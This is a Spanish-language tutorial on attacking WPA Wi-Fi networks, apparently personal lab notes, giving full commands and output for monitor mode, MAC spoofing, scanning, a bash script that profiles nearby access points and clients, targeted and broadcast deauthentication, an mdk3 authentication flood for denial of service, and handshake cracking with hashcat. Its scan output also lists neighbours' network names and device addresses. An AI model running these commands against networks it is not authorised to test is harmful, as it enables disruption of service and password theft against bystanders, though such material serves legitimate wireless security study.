Hacking Wifi
Tipos de ataques:
- Ataques a redes WPA con autenticación PSK
- Ataques a redes WEP con clientes sin autenticación SKA
- Ataques a redes WEP con clientes y autenticación SKA
- Ataques a redes WEP sin clientes
Ataques a redes WPA (La más común)
Modo monitor
Primero que todo debemos ponernos en modo monitor (modo para capturar todos los paquetes de red que viajan a nuestro alrededor). Primero matamos los procesos que molestan y son inecesarios en modo monitor:
# sudo airmon-ng check kill
Killing these processes:
PID Name
841 wpa_supplicant
Y activamos modo monitor:
# sudo airmon-ng start wlan0
PHY Interface Driver Chipset
phy0 wlan0 rtw_8821ce Realtek Semiconductor Co., Ltd. RTL8821CE 802.11ac PCIe Wireless Network Adapter
(monitor mode enabled)
Ya hemos activado el modo monitor. También podemos comprobarlo con:
# ifconfig wlan0
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
unspec 28-CD-C4-95-28-5F-00-6E-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC)
RX packets 84366 bytes 5347572 (5.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3 bytes 443 (443.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
En mi caso no cambia a wlan0mon, sino que el nombre se conserva ( wlan0 ). Con modo monitor perdemos conexión a internet. Para volver a la normalidad hacemos:
sudo airmon-ng stop wlan0 && service NetworkManager restart
Cambio de dirección MAC
Primero debemos bajar la interfaz de red para poder monipular la MAC:
# sudo ifconfig wlan0 down
Procedemos a cambiarla:
# sudo macchanger --mac=$(echo "$(macchanger -l | grep -i "national security agency" | awk '{print $3}'):da:1b:6a") wlan0
Current MAC: 28:cd:c4:a5:38:6f (unknown)
Permanent MAC: 28:cd:c4:a5:38:6f (unknown)
New MAC: 00:20:91:da:1b:6a (J125, NATIONAL SECURITY AGENCY)
Analisis del entorno
Para registrar las redes wifi y estaciones(clientes) a nuestro alrededor, hacemos:
sudo airodump-ng wlan0
Y empieza el modo monitor:
CH 2 ][ Elapsed: 1 min ][ 2021-12-28 16:12
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
F4:71:90:48:71:AC -34 158 3 0 1 65 WPA2 CCMP PSK hacklab
68:FF:7B:96:4A:B8 -57 181 10 0 6 130 WPA2 CCMP PSK FAMILIA LONDOÑO
04:95:E6:CE:0F:98 -53 138 18 0 10 130 WPA2 CCMP PSK Rodríguez Garro
50:D4:F7:BB:52:6D -61 62 0 0 6 130 WPA2 CCMP PSK FAMILIA REINA
B0:4E:26:D4:77:8C -62 34 1 0 3 270 WPA2 CCMP PSK Flia Trujillo
CC:06:77:B6:2D:A8 -80 8 0 0 1 130 WPA2 CCMP PSK FAMILIA CASTRILLON
F4:B7:8D:07:DC:C8 -80 12 1 0 6 130 WPA2 CCMP PSK FAMILIA REINA
A0:1C:8D:D2:23:0C -71 2 0 0 11 130 WPA2 CCMP PSK FAMILIA DUARTE
90:17:3F:E7:F3:E4 -65 6 0 0 1 130 WPA2 CCMP PSK FLIA REALPE RESTREPO
BSSID STATION PWR Rate Lost Frames Notes Probes
F4:71:90:48:71:AC 18:D6:1C:92:2A:E4 -31 24e- 1 317 19
68:FF:7B:96:4A:B8 EE:28:20:ED:9C:8C -67 0 - 1 0 9
04:95:E6:CE:0F:98 A6:AA:AF:4D:46:FE -102 0 - 6e 70 2
F4:B7:8D:07:DC:C8 52:D4:F7:0B:52:6D -67 0 - 1e 0 4
F4:B7:8D:07:DC:C8 52:D4:F7:6F:8A:6D -81 0 - 1e 0 1
F4:B7:8D:07:DC:C8 52:D4:F7:27:4B:35 -81 0 - 1e 0 1
F4:B7:8D:07:DC:C8 52:D4:F7:BB:52:6E -81 0 - 1e 0 1
La red de pruebas es hacklab. El siguiente script en bash permite guardar todas las redes y estaciones encontradas (redeswifi-estaciones.sh):
#!/bin/bash
if [[ "$1" && -f "$1" ]]; then
FILE="$1"
else
echo -e '\nEspecifica el fichero .csv a analizar\n';
echo 'Uso:';
echo -e "\t./parser.sh Captura-01.csv\n";
exit
fi
test -f oui.txt 2>/dev/null
if [ "$(echo $?)" == "0" ]; then
echo -e "\n\033[1mNúmero total de puntos de acceso: \033[0;31m`grep -E '([A-Za-z0-9._: @\(\)\\=\[\{\}\"%;-]+,){14}' $FILE | wc -l`\e[0m"
echo -e "\033[1mNúmero total de estaciones: \033[0;31m`grep -E '([A-Za-z0-9._: @\(\)\\=\[\{\}\"%;-]+,){5} ([A-Z0-9:]{17})|(not associated)' $FILE | wc -l`\e[0m"
echo -e "\033[1mNúmero total de estaciones no asociadas: \033[0;31m`grep -E '(not associated)' $FILE | wc -l`\e[0m"
echo -e "\n\033[0;36m\033[1mPuntos de acceso disponibles:\e[0m\n"
while read -r line ; do
if [ "`echo "$line" | cut -d ',' -f 14`" != " " ]; then
echo -e "\033[1m" `echo -e "$line" | cut -d ',' -f 14` "\e[0m"
else
echo -e " \e[3mNo es posible obtener el nombre de la red (ESSID)\e[0m"
fi
fullMAC=`echo "$line" | cut -d ',' -f 1`
echo -e "\tDirección MAC: $fullMAC"
MAC=`echo "$fullMAC" | sed 's/ //g' | sed 's/-//g' | sed 's/://g' | cut -c1-6`
result="$(grep -i -A 1 ^$MAC ./oui.txt)";
if [ "$result" ]; then
echo -e "\tVendor: `echo "$result" | cut -f 3`"
else
echo -e "\tVendor: \e[3mInformación no encontrada en la base de datos\e[0m"
fi
is5ghz=`echo "$line" | cut -d ',' -f 4 | grep -i -E '36|40|44|48|52|56|60|64|100|104|108|112|116|120|124|128|132|136|140'`
if [ "$is5ghz" ]; then
echo -e "\t\033[0;31mOpera en 5 GHz!\e[0m"
fi
printonce="\tEstaciones:"
while read -r line2 ; do
clientsMAC=`echo $line2 | grep -E "$fullMAC"`
if [ "$clientsMAC" ]; then
if [ "$printonce" ]; then
echo -e $printonce
printonce=''
fi
echo -e "\t\t\033[0;32m" `echo $clientsMAC | cut -d ',' -f 1` "\e[0m"
MAC2=`echo "$clientsMAC" | sed 's/ //g' | sed 's/-//g' | sed 's/://g' | cut -c1-6`
result2="$(grep -i -A 1 ^$MAC2 ./oui.txt)";
if [ "$result2" ]; then
echo -e "\t\t\tVendor: `echo "$result2" | cut -f 3`"
ismobile=`echo $result2 | grep -i -E 'Olivetti|Sony|Mobile|Apple|Samsung|HUAWEI|Motorola|TCT|LG|Ragentek|Lenovo|Shenzhen|Intel|Xiaomi|zte'`
warning=`echo $result2 | grep -i -E 'ALFA|Intel'`
if [ "$ismobile" ]; then
echo -e "\t\t\t\033[0;33mEs probable que se trate de un dispositivo móvil\e[0m"
fi
if [ "$warning" ]; then
echo -e "\t\t\t\033[0;31;5;7mEl dispositivo soporta el modo monitor\e[0m"
fi
else
echo -e "\t\t\tVendor: \e[3mInformación no encontrada en la base de datos\e[0m"
fi
probed=`echo $line2 | cut -d ',' -f 7`
if [ "`echo $probed | grep -E [A-Za-z0-9_\\-]+`" ]; then
echo -e "\t\t\tRedes a las que el dispositivo ha estado asociado: $probed"
fi
fi
done < <(grep -E '([A-Za-z0-9._: @\(\)\\=\[\{\}\"%;-]+,){5} ([A-Z0-9:]{17})|(not associated)' $FILE)
done < <(grep -E '([A-Za-z0-9._: @\(\)\\=\[\{\}\"%;-]+,){14}' $FILE)
echo -e "\n\033[0;36m\033[1mEstaciones no asociadas:\e[0m\n"
while read -r line2 ; do
clientsMAC=`echo $line2 | cut -d ',' -f 1`
echo -e "\033[0;31m" `echo $clientsMAC | cut -d ',' -f 1` "\e[0m"
MAC2=`echo "$clientsMAC" | sed 's/ //g' | sed 's/-//g' | sed 's/://g' | cut -c1-6`
result2="$(grep -i -A 1 ^$MAC2 ./oui.txt)";
if [ "$result2" ]; then
echo -e "\tVendor: `echo "$result2" | cut -f 3`"
ismobile=`echo $result2 | grep -i -E 'Olivetti|Sony|Mobile|Apple|Samsung|HUAWEI|Motorola|TCT|LG|Ragentek|Lenovo|Shenzhen|Intel|Xiaomi|zte'`
warning=`echo $result2 | grep -i -E 'ALFA|Intel'`
if [ "$ismobile" ]; then
echo -e "\t\033[0;33mEs probable que se trate de un dispositivo móvil\e[0m"
fi
if [ "$warning" ]; then
echo -e "\t\033[0;31;5;7mEl dispositivo soporta el modo monitor\e[0m"
fi
else
echo -e "\tVendor: \e[3mInformación no encontrada en la base de datos\e[0m"
fi
probed=`echo $line2 | cut -d ',' -f 7`
if [ "`echo $probed | grep -E [A-Za-z0-9_\\-]+`" ]; then
echo -e "\tRedes a las que el dispositivo ha estado asociado: $probed"
fi
done < <(grep -E '(not associated)' $FILE)
else
echo -e "\n[!] Archivo oui.txt no encontrado, descárgalo desde aquí: http://standards-oui.ieee.org/oui/oui.txt\n"
fi
Para usarlo primero debemos guardar los datos registrados en el analisis de entorno:
# sudo airodump-ng wlan0 -w Captura
La primera vez que queramos ejecutar el script hacemos:
# chmod +x redeswifi-estaciones.sh
# wget http://standards-oui.ieee.org/oui/oui.txt
Lo ejecutamos:
# ./redeswifi-estaciones.sh Captura-01.csv
Número total de puntos de acceso: 8
Número total de estaciones: 12
Número total de estaciones no asociadas: 0
Puntos de acceso disponibles:
FAMILIA TORO
Dirección MAC: F8:1A:67:D2:19:B0
Vendor: TP-LINK TECHNOLOGIES CO.,LTD.
FAMILIA REINA
Dirección MAC: F4:B7:8D:07:DC:C8
Vendor: HUAWEI TECHNOLOGIES CO.,LTD
Estaciones:
9C:BC:F0:7F:9A:86
Vendor: Xiaomi Communications Co Ltd
Es probable que se trate de un dispositivo móvil
52:D4:F7:0B:52:6D
Vendor: Información no encontrada en la base de datos
52:D4:F7:BB:52:6E
Vendor: Información no encontrada en la base de datos
52:D4:F7:27:4B:35
Vendor: Información no encontrada en la base de datos
52:D4:F7:6F:8A:6D
Vendor: Información no encontrada en la base de datos
FAMILIA REINA
Dirección MAC: 50:D4:F7:BB:52:6D
Vendor: TP-LINK TECHNOLOGIES CO.,LTD.
FAMILIA CASTRILLON
Dirección MAC: CC:06:77:B6:2D:A8
Vendor: Fiberhome Telecommunication Technologies Co.,LTD
Estaciones:
18:87:40:B5:A8:41
Vendor: Xiaomi Communications Co Ltd
Es probable que se trate de un dispositivo móvil
FLIA REALPE RESTREPO
Dirección MAC: 90:17:3F:E7:F3:E4
Vendor: HUAWEI TECHNOLOGIES CO.,LTD
Flia Trujillo
Dirección MAC: B0:4E:26:D4:77:8C
Vendor: TP-LINK TECHNOLOGIES CO.,LTD.
Rodríguez Garro
Dirección MAC: 04:95:E6:CE:0F:98
Vendor: Tenda Technology Co.,Ltd.Dongguan branch
Estaciones:
EE:E6:49:1D:75:C4
Vendor: Información no encontrada en la base de datos
A2:78:25:99:B1:06
Vendor: Información no encontrada en la base de datos
A6:AA:AF:4D:46:FE
Vendor: Información no encontrada en la base de datos
hacklab
Dirección MAC: F4:71:90:48:71:AC
Vendor: Samsung Electronics Co.,Ltd
Estaciones:
18:D6:1C:92:2A:E4
Vendor: Shenzhen TINNO Mobile Technology Corp.
Es probable que se trate de un dispositivo móvil
Estaciones no asociadas:
Fijar una red
# sudo airodump-ng -c 1 -w Captura --bssid F4:71:90:48:71:AC wlan0
CH 1 ][ Elapsed: 42 s ][ 2021-12-28 16:40
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
F4:71:90:48:71:AC -29 100 412 168 0 1 65 WPA2 CCMP PSK hacklab
BSSID STATION PWR Rate Lost Frames Notes Probes
F4:71:90:48:71:AC 18:D6:1C:92:2A:E4 -56 1e-24e 0 191
-c es el canal en el que se encuentra la red, y –bssid es la MAC de AP (Access Point).
Captura de Handshake
Ataque de deautenticación dirigido: Tratamos de expulsar a una estación especifica de la red:
# sudo aireplay-ng -0 10 -a F4:71:90:48:71:AC -c 18:D6:1C:92:2A:E4 wlan0
17:04:40 Waiting for beacon frame (BSSID: F4:71:90:48:71:AC) on channel 1
17:04:41 Sending 64 directed DeAuth (code 7). STMAC: [18:D6:1C:92:2A:E4] [ 1|17 ACKs]
17:04:41 Sending 64 directed DeAuth (code 7). STMAC: [18:D6:1C:92:2A:E4] [16|41 ACKs]
17:04:42 Sending 64 directed DeAuth (code 7). STMAC: [18:D6:1C:92:2A:E4] [ 0|50 ACKs]
17:04:43 Sending 64 directed DeAuth (code 7). STMAC: [18:D6:1C:92:2A:E4] [ 0|26 ACKs]
17:04:44 Sending 64 directed DeAuth (code 7). STMAC: [18:D6:1C:92:2A:E4] [ 0|52 ACKs]
17:04:44 Sending 64 directed DeAuth (code 7). STMAC: [18:D6:1C:92:2A:E4] [ 0|26 ACKs]
17:04:45 Sending 64 directed DeAuth (code 7). STMAC: [18:D6:1C:92:2A:E4] [ 0|51 ACKs]
17:04:46 Sending 64 directed DeAuth (code 7). STMAC: [18:D6:1C:92:2A:E4] [ 0|26 ACKs]
17:04:48 Sending 64 directed DeAuth (code 7). STMAC: [18:D6:1C:92:2A:E4] [ 0|89 ACKs]
17:04:48 Sending 64 directed DeAuth (code 7). STMAC: [18:D6:1C:92:2A:E4] [ 0|23 ACKs]
-a es la MAC del AP y -c es la MAC del cliente. También, se puede hacer intentos de deautenticación infinitos:
- sudo aireplay-ng -0 0 -a F4:71:90:48:71:AC -c 18:D6:1C:92:2A:E4 wlan0
Ataque de deautenticación global: Lo mismo que antes, pero a todos las estaciones que se detecten en la red objetivo.
-
sudo aireplay-ng -0 10 -a F4:71:90:48:71:AC -c FF:FF:FF:FF:FF:FF wlan0
-
sudo aireplay-ng -0 0 -a F4:71:90:48:71:AC -c FF:FF:FF:FF:FF:FF wlan0
Ataque de autenticación: Autentica muchos clientes y al final la red se vuelve lenta y expulsa a todos (DoS):
# sudo mdk3 wlan0 a -a F4:71:90:48:71:AC
AP F4:71:90:48:71:AC is responding!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 500 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 1000 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 1500 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 2000 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 2500 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 3000 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 3500 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 4000 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 4500 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 5000 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 5500 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 6000 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 6500 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 7000 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 7500 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 8000 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 8500 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 9000 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 9500 clients connected!
AP F4:71:90:48:71:AC seems to be INVULNERABLE!
Device is still responding with 10000 clients connected!
Fuerza bruta con Hashcat
Creamos un formato utilizable por hashcat:
# sudo aircrack-ng -j hashcatCapture Captura-01.cap
Opening Captura-01.cape wait...
Read 5110 packets.
# BSSID ESSID Encryption
1 20:34:FB:B1:C5:53 hacklab WPA (1 handshake)
Choosing first network as target.
Opening Captura-01.cape wait...
Read 5110 packets.
1 potential targets
Building Hashcat (3.60+) file...
[*] ESSID (length: 7): hacklab
[*] Key version: 2
[*] BSSID: 20:34:FB:B1:C5:53
[*] STA: 34:41:5D:46:D1:38
[*] anonce:
FE AD BB C5 CA AC 3C 41 52 56 B1 44 5D 61 29 2A
72 E1 7D 73 6A 5E 16 A5 15 88 E4 9E 58 42 EC 78
[*] snonce:
47 5D 5A 50 E4 2D 1D 18 F8 67 5B 0A B6 B1 FF 1F
6A 85 82 EC 66 3E 92 2A F0 CC B2 05 F3 8B DE E0
[*] Key MIC:
0C 0E B7 91 69 C1 FE FD E5 D9 08 42 2E E4 A5 3C
[*] eapol:
01 03 00 75 02 01 0A 00 00 00 00 00 00 00 00 00
01 47 5D 5A 50 E4 2D 1D 18 F8 67 5B 0A B6 B1 FF
1F 6A 85 82 EC 66 3E 92 2A F0 CC B2 05 F3 8B DE
E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 16 30 14 01 00 00 0F AC 04 01 00 00 0F AC
04 01 00 00 0F AC 02 00 00
Successfully written to hashcatCapture.hccapx
Y crackeamos con hashcat:
-
sudo hashcat -m 2500 -d 1 hashcatCapture.hccapx /usr/share/wordlists/rockyou.txt
-
sudo hashcat -m 2500 -d 1 hashcatCapture.hccapx /usr/share/wordlists/rockyou.txt –force -w 3
Y para imprimir solo la contraseña encontrada previamente:
- sudo hashcat –show -m 2500 hashcatCapture.hccapx